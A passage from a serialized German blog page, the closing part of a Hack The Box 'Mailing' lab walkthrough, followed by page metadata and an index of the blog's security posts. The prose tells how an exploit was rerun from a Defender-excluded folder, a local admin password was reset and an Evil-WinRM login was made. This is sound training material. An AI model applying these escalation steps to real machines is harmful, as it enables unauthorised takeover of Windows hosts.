mir kurz \"Administratoren\" auf spanisch übersetzen lassen.",[11,4916,4917],{},[17,4918],{"alt":19,"src":4919},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211854712.webp",[11,4921,4922],{},"Den Exploit habe ich dann mit dem korrekten, spanischen Namen neu erstellt.",[11,4924,4925],{},[17,4926],{"alt":19,"src":4927},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211933580.webp",[11,4929,4930],{},"Der Exploit hat anschließend noch immer nicht funktioniert. Im Forum meinte einer man soll Ausschau nach einem besonderen Ordner halten.\nIch habe direkt unter C:\\ dann den Ordner \"Important Documents\" gefunden. Der Ordner ist auf jeden Fall kein Standardordner.",[11,4932,4933],{},"Also habe ich in diesem Ordner erneut den Exploit ausgeführt und mir die Gruppenmitgliedschaft vom User \"maya\" anzeigen lassen. Nun waren wir auch Mitglied der Gruppe \"Administradores\". Vermutlich ist der Ordner \"Important Documents\" vom Windows Defender ausgenommen und zuvor wurde unser Exploit blockiert. Ist aber auch nur eine Vermutung meinerseits.",[11,4935,4936],{},[17,4937],{"alt":19,"src":4938},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626212631571.webp",[11,4940,4941],{},"Ich habe mir dann noch alle lokalen User auf dem Server anzeigen lassen. Hier ist mir dann noch der User \"localadmin\" aufgefallen.",[11,4943,4944],{},[17,4945],{"alt":19,"src":4946},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626213012443.webp",[11,4948,4949],{},"Vom lokalen User \"localadmin\" habe ich dann das Passwort zurückgesetzt.",[11,4951,4952],{},[17,4953],{"alt":19,"src":4954},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626213113546.webp",[11,4956,4957],{},"Danach habe ich mich mit Evil-WinRM mit dem User \"localadmin\" angemeldet.",[11,4959,4960],{},[17,4961],{"alt":19,"src":4962},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626213152996.webp",[11,4964,4965],{},"Dort bin ich dann wieder zum Ordner Desktop gewechselt. Hier habe ich auch die Rootflag gefunden und diese mir anzeigen lassen.",[11,4967,4968],{},[17,4969],{"alt":19,"src":4970},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626213233783.webp",[11,4972,4973],{},"Raum erfolgreich geschafft.",[11,4975,4976],{},[17,4977],{"alt":19,"src":4978},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626213325650.webp",[4980,4981,4982],"style",{},"html pre.shiki code .s59W0, html code.shiki .s59W0{--shiki-default:#FABD2F}html pre.shiki code .sTqo2, html code.shiki .sTqo2{--shiki-default:#B8BB26}html pre.shiki code .ssIPD, html code.shiki .ssIPD{--shiki-default:#D3869B}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s-UKz, html code.shiki .s-UKz{--shiki-default:#928374;--shiki-default-font-style:italic}html pre.shiki code .sM0OT, html code.shiki .sM0OT{--shiki-default:#EBDBB2}html pre.shiki code .sG605, html code.shiki .sG605{--shiki-default:#FE8019}html pre.shiki code .svnLg, html code.shiki .svnLg{--shiki-default:#A89984}html pre.shiki code .sM2RB, html code.shiki .sM2RB{--shiki-default:#8EC07C}",{"title":19,"searchDepth":83,"depth":83,"links":4984},[],"hack-the-box","2024-06-26","Walkthrough zur \"Mailing\" Hack the Box Challenge",false,"md","\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fcover.webp",{},"\u002Fposts\u002Fhack-the-box-mailing",{"title":5,"description":4987},"posts\u002Fhack-the-box-mailing","1",[4997,4998],"writeup","windows","0iwiRbWx_mfxhsN1zqBPVGO1a-PtgopFYwWhVJ6ZlzE",[5001,5013,5023,5034,5041,5047,5055,5063,5068,5076,5082,5091,5098,5105,5112,5118,5125,5131,5137,5145,5156,5162,5168,5174,5180,5186,5192,5198,5204,5210,5216,5222,5229,5231,5237,5245,5251,5258],{"path":5002,"title":5003,"description":5004,"date":5005,"category":5006,"alsoIn":5007,"series":6,"tags":5008,"readingTime":194},"\u002Fposts\u002Fbarista","Barista: One Exe to Install Doppio and Ristretto","The 2FA series ends with two LSA components, an unsigned DLL in lsass and a dozen steps that have to happen in the right order. Barista is a wizard that does them one reboot at a time, from a single exe with every binary embedded and hash-checked.","2026-10-16","tools",[4998],[4998,5009,5010,5011,5012],"lsa","2fa","credential-provider","security",{"path":5014,"title":5015,"description":5016,"date":5017,"category":4998,"alsoIn":5018,"series":5019,"tags":5020,"readingTime":660},"\u002Fposts\u002Fwindows-2fa-gating-network-logons","Build Your Own 2FA for the Windows Logon, Part 3: Gating Network Logons","Part 2 refuses every network logon for an enrolled account, which makes the account safe and useless. Part 3 adds a gate you open once with a one-time code, so SMB, RPC and WinRM work again for a short window. In C++, with the full source.","2026-10-11",[5006],"Doppio · 3-part series",[4998,5009,5021,5022,5010,5012],"ntlm","smb",{"path":5024,"title":5025,"description":5026,"date":5027,"category":5006,"alsoIn":6,"series":6,"tags":5028,"readingTime":126},"\u002Fposts\u002Fadhardenkit","ADHardenKit: Hardening AD Without Breaking It","LDAP signing, SMB signing, NTLM, Kerberos with AES only. Every hardening checklist has them. I wrote a tool that turns them on in an order that doesn't break the domain.","2026-10-07",[5029,5030,5031,5032,5021,5033],"active-directory","windows-server","powershell","hardening","kerberos",{"path":5035,"title":5036,"description":5037,"date":5038,"category":5006,"alsoIn":6,"series":6,"tags":5039,"readingTime":137},"\u002Fposts\u002Fntlm-analyzer","NTLM-Analyzer: Find Out Who Still Uses NTLM","Windows logs a lot of NTLM activity, but you have to piece it together yourself. I built a tool that shows which users and programs still use NTLMv1 or NTLMv2, and what already runs over Kerberos.","2026-10-03",[5029,5021,5033,5040,5030],"auditing",{"path":5042,"title":5043,"description":5044,"date":5045,"category":4998,"alsoIn":6,"series":5019,"tags":5046,"readingTime":596},"\u002Fposts\u002Fwindows-2fa-inside-lsa","Build Your Own 2FA for the Windows Logon, Part 2: Inside LSA","The credential provider from Part 1 only sees the logon screen. Part 2 goes into LSA to close the paths it can't reach, with an authentication package and an MSV1_0 sub-authentication filter in C++.","2026-10-01",[4998,5011,5009,5010,5012],{"path":5048,"title":5049,"description":5050,"date":5051,"category":4998,"alsoIn":5052,"series":5019,"tags":5053,"readingTime":1171},"\u002Fposts\u002Fwindows-2fa-credential-provider","Build Your Own 2FA for the Windows Logon","How a Credential Provider works and how to build a working TOTP 2FA for local Windows accounts in C++. With rate limiting, replay protection and logging.","2026-09-30",[5006],[4998,5011,5010,5054,5012],"totp",{"path":5056,"title":5057,"description":5058,"date":5059,"category":5006,"alsoIn":6,"series":6,"tags":5060,"readingTime":83},"\u002Fposts\u002Fadtierkit-active-directory-tiering","ADTierKit: Automatic AD-Tiering","I got tired of building tier models by hand, so I wrote a tool for it. One PowerShell script, one JSON file.","2026-08-06",[5029,5030,5031,5061,5062],"tiering","laps",{"path":5064,"title":5065,"description":5066,"date":5059,"category":5029,"alsoIn":6,"series":6,"tags":5067,"readingTime":223},"\u002Fposts\u002Fldap-ldaps-and-active-directory","The thing with LDAP, LDAPS and Active Directory","Why LDAPS rarely fixes what security reports worry about, why you can't just block port 389, and what actually protects LDAP in Active Directory.",[],{"path":5069,"title":5070,"description":5071,"date":5072,"category":5073,"alsoIn":6,"series":6,"tags":5074,"readingTime":83},"\u002Fposts\u002Finstall-tor-exit-node","Install Tor Exit Node","How to run a Tor exit node on an anonymously rented VPS: paying with Monero, picking the provider and the country, and installing and configuring Tor.","2025-09-30","linux",[5075],"tor",{"path":5077,"title":5078,"description":5079,"date":5080,"category":5029,"alsoIn":6,"series":6,"tags":5081,"readingTime":37},"\u002Fposts\u002Fconfigure-kerberos-armoring","Configure Kerberos Armoring","Kerberos Armoring (FAST) protects the Kerberos exchange against offline brute force, replay and tampering. How to enable it in your domain with a GPO.","2025-07-28",[5033],{"path":5083,"title":5084,"description":5085,"date":5086,"category":5087,"alsoIn":6,"series":6,"tags":5088,"readingTime":879},"\u002Fposts\u002Fexchange-2019-install","Installation guide for Exchange SE and Exchange 2019","Install Exchange Server Subscription Edition (SE) or Exchange Server 2019 step by step and harden it, with WAF rules on the Sophos XG, SPF, DMARC, DKIM and more. The installation is the same for both versions.","2025-06-26","exchange",[5087,5089,5090],"exchange-se","exchange-2019",{"path":5092,"title":5093,"description":5094,"date":5095,"category":5029,"alsoIn":6,"series":6,"tags":5096,"readingTime":194},"\u002Fposts\u002Fhow-ntlm-works-active-directory","How NTLM works in Active Directory","How NTLM proves that you know a password without sending it, what the domain controller does, the difference between NTLMv1 and NTLMv2, and why Microsoft is phasing it out.","2025-05-07",[5021,5029,5097],"authentication",{"path":5099,"title":5100,"description":5101,"date":5102,"category":5029,"alsoIn":6,"series":6,"tags":5103,"readingTime":105},"\u002Fposts\u002Fadfs-installation","ADFS Installation","Basic installation guide for Active Directory Federation Services","2025-01-27",[5104],"adfs",{"path":5106,"title":5107,"description":5108,"date":5109,"category":5029,"alsoIn":6,"series":6,"tags":5110,"readingTime":83},"\u002Fposts\u002Fexample-pass-the-hash-attack","Pass the Hash Attack Example","Example of a pass the hash attack","2025-01-22",[5111],"pass-the-hash",{"path":5113,"title":5114,"description":5115,"date":5116,"category":5029,"alsoIn":6,"series":6,"tags":5117,"readingTime":137},"\u002Fposts\u002Fhow-kerberos-works-active-directory","How Kerberos works in Active Directory","How Kerberos works in Active Directory, step by step: the TGT, the service ticket and the request to the service, and why no password crosses the network.","2025-01-16",[5033],{"path":5119,"title":5120,"description":5121,"date":5122,"category":4998,"alsoIn":6,"series":6,"tags":5123,"readingTime":83},"\u002Fposts\u002Fconfigure-credential-guard-computer-accounts","Configure Credential Guard for Computer Accounts","Windows Server 2025 can move computer account passwords into Credential Guard. How to enable it by GPO, and why turning it off means a new domain join.","2025-01-15",[5124],"credential-guard",{"path":5126,"title":5127,"description":5128,"date":5129,"category":4998,"alsoIn":6,"series":6,"tags":5130,"readingTime":105},"\u002Fposts\u002Fconfigure-credential-guard-windows","Configure Credential Guard","How Credential Guard shields NTLM hashes and Kerberos tickets, how to enable it by GPO on older clients and servers, and how to check that it runs.","2025-01-13",[5124],{"path":5132,"title":5133,"description":5134,"date":5129,"category":4998,"alsoIn":6,"series":6,"tags":5135,"readingTime":83},"\u002Fposts\u002Fosconfig-windows-server-2025-security","OSConfig - Security Settings for Windows Server 2025","OSConfig applies Microsoft's recommended security settings on Windows Server 2025 without GPOs. Install the module, list templates, enable a baseline.",[5136],"osconfig",{"path":5138,"title":5139,"description":5140,"date":5141,"category":4998,"alsoIn":6,"series":6,"tags":5142,"readingTime":83},"\u002Fposts\u002Fsecure-iis-modsecurity","Secure IIS with Modsecurity","Installation guide to secure IIS with Modsecurity","2025-01-12",[5143,5144],"iis","modsecurity",{"path":5146,"title":5147,"description":5148,"date":5149,"category":5029,"alsoIn":6,"series":6,"tags":5150,"readingTime":212},"\u002Fposts\u002Fvcsa-certificate-windows-pki","Issue VCSA Certificate with Windows PKI","Replace the self-signed vCenter (VCSA) certificate with a SubCA certificate from your Windows PKI, using the VCSA Certificate Manager and WinSCP.","2025-01-09",[5151,5152,5153,5154,5155],"ad-cs","pki","vmware","vcsa","vcenter",{"path":5157,"title":5158,"description":5159,"date":5160,"category":5029,"alsoIn":6,"series":6,"tags":5161,"readingTime":677},"\u002Fposts\u002Fwindows-pki-installation","Installation guide for a Windows PKI","Step-by-step guide for a two-tier Windows PKI with root CA, sub CA and a separate CRL server, plus certificate templates, OCSP and web enrollment.","2024-12-20",[5151,5152],{"path":5163,"title":5164,"description":5165,"date":5166,"category":4985,"alsoIn":6,"series":6,"tags":5167,"readingTime":212},"\u002Fposts\u002Fhack-the-box-administrator","Hack The Box: Administrator","Walkthrough for the \"Administrator\" Hack the Box Challenge","2024-11-19",[4997,4998,5029],{"path":5169,"title":5170,"description":5171,"date":5172,"category":5029,"alsoIn":6,"series":6,"tags":5173,"readingTime":73},"\u002Fposts\u002Fsecure-active-directory-part-1","Secure Active Directory - Part 1","Part 1 of the guide to a secure Active Directory","2024-09-09",[],{"path":5175,"title":5176,"description":5177,"date":5178,"category":4985,"alsoIn":6,"series":6,"tags":5179,"readingTime":238},"\u002Fposts\u002Fhack-the-box-greenhorn","Hack The Box: Greenhorn","Walkthrough for the \"Greenhorn\" Hack the Box Challenge","2024-07-24",[4997,5073],{"path":5181,"title":5182,"description":5183,"date":5184,"category":4985,"alsoIn":6,"series":6,"tags":5185,"readingTime":194},"\u002Fposts\u002Fhack-the-box-runner","Hack The Box: Runner","Walkthrough for the \"Runner\" Hack the Box Challenge","2024-07-20",[4997,5073],{"path":5187,"title":5188,"description":5189,"date":5190,"category":4985,"alsoIn":6,"series":6,"tags":5191,"readingTime":37},"\u002Fposts\u002Fhack-the-box-ghost","Hack The Box: Ghost","Walkthrough for the \"Ghost\" Hack the Box Challenge","2024-07-18",[4997,4998,5029],{"path":5193,"title":5194,"description":5195,"date":5196,"category":4985,"alsoIn":6,"series":6,"tags":5197,"readingTime":160},"\u002Fposts\u002Fhack-the-box-knife","Hack The Box: Knife","Walkthrough for the \"Knife\" Hack the Box Challenge","2024-07-15",[4997,5073],{"path":5199,"title":5200,"description":5201,"date":5202,"category":4985,"alsoIn":6,"series":6,"tags":5203,"readingTime":83},"\u002Fposts\u002Fhack-the-box-broker","Hack The Box: Broker","Walkthrough for the \"Broker\" Hack the Box Challenge","2024-07-10",[4997,5073],{"path":5205,"title":5206,"description":5207,"date":5208,"category":4985,"alsoIn":6,"series":6,"tags":5209,"readingTime":37},"\u002Fposts\u002Fhack-the-box-permx","Hack The Box: PermX","Walkthrough zur \"PermX\" Hack the Box Challenge","2024-07-08",[4997,5073],{"path":5211,"title":5212,"description":5213,"date":5214,"category":4985,"alsoIn":6,"series":6,"tags":5215,"readingTime":83},"\u002Fposts\u002Fhack-the-box-lame","Hack The Box: Lame","Walkthrough zur \"Lame\" Hack the Box Challenge","2024-07-06",[4997,5073],{"path":5217,"title":5218,"description":5219,"date":5220,"category":4985,"alsoIn":6,"series":6,"tags":5221,"readingTime":105},"\u002Fposts\u002Fhack-the-box-analytics","Hack The Box: Analytics","Walkthrough zur \"Analytics\" Hack the Box Challenge","2024-06-30",[4997,5073],{"path":5223,"title":5224,"description":5225,"date":5226,"category":4985,"alsoIn":6,"series":6,"tags":5227,"readingTime":126},"\u002Fposts\u002Fhack-the-box-sense","Hack The Box: Sense","Walkthrough zur \"Sense\" Hack the Box Challenge","2024-06-28",[4997,5228],"freebsd",{"path":4992,"title":5,"description":4987,"date":4986,"category":4985,"alsoIn":6,"series":6,"tags":5230,"readingTime":223},[4997,4998],{"path":5232,"title":5233,"description":5234,"date":5235,"category":4985,"alsoIn":6,"series":6,"tags":5236,"readingTime":83},"\u002Fposts\u002Fhack-the-box-jerry","Hack The Box: Jerry","Walkthrough zur \"Jerry\" Hack the Box Challenge","2024-06-20",[4997,4998],{"path":5238,"title":5239,"description":5240,"date":5241,"category":5073,"alsoIn":6,"series":6,"tags":5242,"readingTime":37},"\u002Fposts\u002Flinux-ssh-telegram-notifications","Setting up notifications via Telegram for SSH login\u002Flogoff","Get a Telegram message every time someone logs in to or out of your Linux server over SSH, with a Telegram bot, a small script and PAM.","2024-06-01",[5243,5244],"ssh","monitoring",{"path":5246,"title":5247,"description":5248,"date":5249,"category":4985,"alsoIn":6,"series":6,"tags":5250,"readingTime":297},"\u002Fposts\u002Fhack-the-box-forest","Hack The Box: Forest","Walkthrough zur \"Forest\" Hack the Box Challenge","2024-05-20",[4997,4998,5029],{"path":5252,"title":5253,"description":5254,"date":5255,"category":5087,"alsoIn":6,"series":6,"tags":5256,"readingTime":37},"\u002Fposts\u002Fpowershell-connect-to-exchange-online","Verbindung zu Exchange Online mit Powershell","Wie man sich mit PowerShell mit Exchange Online verbindet: das Modul ExchangeOnlineManagement installieren, aktuell halten und die Verbindung herstellen.","2023-10-23",[5257,5031],"m365",{"path":5259,"title":5260,"description":5261,"date":5262,"category":5087,"alsoIn":6,"series":6,"tags":5263,"readingTime":37},"\u002Fposts\u002Fexchange-october-2023-updates","Exchange Server","Neue Sicherheitsupdates (Oktober 2023)","2023-10-18",[],1792195053995]